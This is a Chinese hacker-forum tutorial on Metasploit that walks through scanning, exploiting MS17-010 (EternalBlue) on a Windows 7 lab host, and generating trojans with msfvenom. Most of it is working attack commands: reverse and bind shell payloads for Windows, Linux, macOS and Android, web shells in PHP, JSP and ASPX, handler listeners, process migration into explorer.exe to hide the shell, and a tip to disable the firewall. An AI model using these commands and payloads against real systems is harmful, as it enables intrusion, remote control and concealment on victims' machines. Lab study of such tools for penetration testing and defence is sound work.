[工具使用] Metasploit基础----msfconsole

232 0
Honkers 2025-3-30 06:02:38 来自手机 | 显示全部楼层 |阅读模式

Metasploit基础

1. Metasploit前置知识

1.1 MetaSploit简介

Metasploit是⼀款开源安全漏洞检测⼯具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区 冠以“可以⿊掉整个宇宙”之名的强⼤渗透测试框架。

Metasploit渗透测试框架包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate⽤于软件更 新,建议使⽤前先进⾏更新,可以更新最新的漏洞库和利⽤代码。msfconsole是整个框架中最受欢迎的 模块,个⼈感觉也是功能强⼤的模块,所有的功能都可以该模块下运⾏。msfweb是Metasploit framework的web组件⽀持多⽤户,是Metasploit图形化接⼝。

msfconsole是MSF中最主要最常⽤的功能组件,使⽤集成化的使⽤⽅法,可以使⽤MSF中的所有命令和 模块,⽀持很多其它接⼝⽅式不⽀持的功能。

⾮kali环境下更新升级MSF:

  1. msfupdate #MSF后期更新升级
复制代码

kali环境下更新升级MSF:

由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不⽀持使⽤msfupdate命令更 新,更新的话需要随系统程序更新。在kali中更新MSF使⽤以下命令:

  1. apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可⽤的更
  2. 新,给出汇总报告)
  3. apt upgrade # 更新已安装的软件包,不删除旧包;
  4. apt full-upgrade # 升级包,删除旧包
复制代码

使⽤上⾯命令,是在更新系统程序的同时,把MSF更新。

1.2 启动 msfconsole

⽅式1:

  1. service postgresql start #开启 postgresql 数据库
  2. msfconsole #启动 msfconsole
复制代码

⽅式2:快捷启动命令(推荐)

  1. msfdb run #可以同时启动 postgresql 数据库和 msf
复制代码

1.3 MSF的功能模块介绍

MSF所⽤功能主要可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程

模块路径:/usr/share/metasploit-framework/modules/

漏洞利⽤(exploit):/usr/share/metasploit-framework/modules/exploits

payload模块路径::/usr/share/metasploit-framework/modules/payloads

2.实战-msf端⼝扫描

2.1 Metasploit

Metasploit中也有NMAP⼯具

  1. db_nmap sV 192.168.220.163
复制代码

2.2 端⼝扫描

除了nmap外,msf⾃带了端⼝扫描模块以供使⽤。相关命令如下:

  1. # 这些我们前⾯就学习过的TCP扫描相关内容,其他的是⼀些应⽤的扫描。
  2. # 查看配置项msf6
  3. use auxiliary/scanner/portscan/syn
  4. # 查看参数设置,yes为必填参数
  5. show options
  6. # 设置扫描的⽬标msf6
  7. set RHOSTS 192.168.220.163
  8. # 设置端⼝范围使⽤逗号隔开、
  9. set PORTS 80
  10. show options
  11. # 设置线程数msf6
  12. set THREADS 20
  13. run
复制代码

参数:

运行端口扫描:

  1. # 退出⼀下
  2. back
复制代码

2.3. SMB版本扫描

使⽤smb_version 基于SMB协议扫描版本号

  1. use auxiliary/scanner/smb/smb_version
  2. show options
  3. # 注:192.168.1.56后⾯的逗号和192.168.1.180之间是有空格的
  4. set RHOSTS 192.168.1.56, 192.168.1.180
  5. run
复制代码

扫描后获取的信息都会保存到当前数据库中,可使⽤hosts查看,相关命令如下:

  1. hosts
复制代码

3. 实战-使⽤msf渗透攻击ms17-010

环境

Windows7 IP:192.168.197.140

Linux KALI IP:192.168.197.135

3.1 使⽤辅助模块进⾏漏洞扫描

  1. ─# msfdb run #进⼊msf
  2. msf6 > search ms17_010
复制代码

使⽤模块,进⾏配置

  1. msf6 > use auxiliary/scanner/smb/smb_ms17_010 # 使⽤模块或者使⽤use 1
  2. show options # 查看配置
  3. set rhost 192.168.197.140 # 配置rhosts 受害者IP地址
  4. Required栏为yes的是我们需要配置的,no是可选项
复制代码

执⾏ / 开始攻击

  1. exploit #或者run命令执⾏攻击
复制代码

注:有+号的就是可能存在漏洞的主机

3.2 切换Exploit模块进行利用

  1. serach ms17_010 # 搜索模块
  2. use exploit/windows/smb/ms17_010_eternalblue # 使⽤攻击模块
  3. show options # 查看配置
  4. set rhosts 192.168.197.140 # 设置受害者IP
  5. set lhost 192.168.197.135 #设置反弹ip 攻击机的IP默认指定就不用配置
  6. show targets #查看 exploit target ⽬标类型
  7. run
复制代码

  1. getuid 查看权限
  2. shell 进⼊终端
  3. 成功利⽤
复制代码

  1. 解决中文乱码
  2. chcp 65001
复制代码

4.实战-利用msfvenom生成各种木马

4.1. Msfvenom常⽤命令参数

主要使⽤的是Msfvenom,这个需要在终端中执⾏,⽽不是在msf⾥⾯执⾏,msfvenom主要⽤于⽣成⽊⻢

  1. -l, --list <type> 列出指定模块的所有可⽤资源. 模块类型包括: payloads, encoders,nops,......all
  2. -p, --payload < payload> 指定需要使⽤的payload(攻击荷载)。也可以使⽤⾃定义payload,⼏乎是⽀持全平台的
  3. -f, --format < format> 指定输出格式
  4. -e, --encoder <encoder> 指定需要使⽤的encoder(编码器),指定需要使⽤的编码,如果既没⽤-e选项也没⽤-b选项,则输出raw payload
  5. -a, --arch < architecture> 指定payload的⽬标架构,例如x86 还是 x64 还是 x86_64
  6. -o, --out < path> 指定创建好的payload的存放位置
  7. -b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使⽤ '\x0f'、'\x00'
  8. -n, --nopsled < length> 为payload预先指定⼀个NOP滑动⻓度
  9. -s, --space < length> 设定有效攻击荷载的最⼤⻓度,就是⽂件⼤⼩
  10. -i, --iterations < count> 指定payload的编码次数
  11. -c, --add-code < path> 指定⼀个附加的win32 shellcode⽂件
  12. -x, --template < path> 指定⼀个⾃定义的可执⾏⽂件作为模板,并将payload嵌⼊其中
  13. -k, --keep 保护模板程序的动作,注⼊的payload作为⼀个新的进程运⾏
  14. -v, --var-name < value> 指定⼀个⾃定义的变量,以确定输出格式
  15. -t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁⽤)
  16. -h,--help 查看帮助选项
  17. --platform < platform> 指定payload的⽬标平台
复制代码

4.2 生成windows的反弹shell程序

kali⽣成⽊⻢

修改lhost 为kali攻击机的ip,lport 为kali攻击机的端⼝。

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.135 lport=4444 -f exe >rsec.exe
复制代码
  1. #下载
  2. sz rsec.exe
复制代码

kali攻击机开启监听

  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
  3. set lhost 192.168.197.135 #设置主机地址
  4. set lport 4444 #设置端⼝号
  5. run
复制代码

对⽅执⾏程序之后就会把shell反弹过来

4.3. 生成windows的正向shell

生成

  1. msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe > bind_4444.exe
复制代码

下载到靶机或者拖到靶机里面

  1. sz bind_4444.exe
复制代码

开启监听

  1. use exploit/multi/handler
  2. set payload windows/x64/meterpreter/bind_tcp #设置payload类型,与msfvenom中的类型要⼀致。
  3. set lport 4444
  4. set rhost 192.168.197.140 #设置靶机ip
  5. set autorunscript migrate -n explorer.exe #设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
  6. run
复制代码

4.4 生成linux正向、反向木马

1)linux反向

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.135 LPORT=4444 -f elf > shell.elf
复制代码

生成后放到靶机里

监听

  1. use exploit/multi/handler
  2. set payload linux/x86/meterpreter/reverse_tcp #设置payload类型,与msfvenom中的类型要⼀致。
  3. set lhost 192.168.220.141 #设置主机地址
  4. set lport 4444 #设置端⼝号
  5. run #开启监听
复制代码

2)linux正向

  1. msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > shell4444.elf
复制代码

生成后放到靶机里

在靶机给木马加执行权限

  1. chmod +x shell.elf
复制代码

执行后查看是否开启4444端口

  1. netstat -pantu |grep 4444
复制代码

监听

  1. use exploit/multi/handler
  2. #设置payload类型,与msfvenom中的类型要⼀致。
  3. set payload linux/x86/meterpreter/bind_tcp
  4. set lport 4444
  5. #设置靶机ip
  6. set rhost 192.168.197.141
  7. #设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
  8. set autorunscript migrate -n explorer.exe
  9. #执行
  10. run
复制代码

PS:监听不到把防火墙关了即可

4.5.安卓⻢

实验环境安卓7,且⽬前的安卓11以上⽆法直接安装。

V7.0.1.5版本介绍 | 夜神模拟器帮助中心 (yeshen.com)

V7.0.1.5版本整合了安卓9(64位)、安卓7(64位)、安卓7以及安卓5玩家只需要下载V7.0.1.5版本,即可从多开器中创建任意版本

⽣成反向安卓⻢

  1. msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.197.135 lport=5555 R > /root/apk.apk
复制代码

上传到模拟器

监听

  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST 192.168.197.135
  4. set LPORT 5555
复制代码

4.6. Payload类型

当我们在Metasploit中执⾏ show payloads 命令之后,它会给我们显示⼀个可使⽤的Payload列表:

⼏种常⻅的payload:

  1. windows/meterpreter/bind_tcp #正向连接
  2. windows/meterpreter/reverse_tcp #反向连接,常⽤
  3. windows/meterpreter/reverse_http #通过监听80端⼝反向连接
  4. windows/meterpreter/reverse_https #通过监听443端⼝反向连接
  5. linux/x86/meterpreter/bind_tcp #正向连接
  6. linux/x86/meterpreter/reverse_tcp #反向连接,常⽤#
  7. linux/x86/meterpreter_reverse_http #通过监听80端⼝反向连接
  8. linux/x86/meterpreter_reverse_https #通过监听443端⼝反向连接
复制代码

进⼊handler模块后通过set payload 按tab键补⻬可以查看需要的payload

  1. use exploit/multi/handler
  2. set payload linux/x86/
复制代码

5. msfvenom常⻅⽣成格式

1、 Windows

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.141 lport=4444 -f exe >rsec.exe
复制代码

2、Linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
复制代码

3、Mac

  1. msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
复制代码

4、Android

  1. msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
复制代码

5、Aspx

  1. msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
复制代码

6、JSP

  1. msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
复制代码

7、PHP

  1. msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
复制代码

8、BASH

  1. msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
复制代码

9、Python

  1. msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
复制代码

10、Shellcode

  1. //linux
  2. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=444
  3. 4 --platform Linux -f c
  4. //windows
  5. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -
  6. -platform Windows -f c
  7. //mac
  8. msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.53 LPORT=4444 --plat
  9. form osx -f c
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行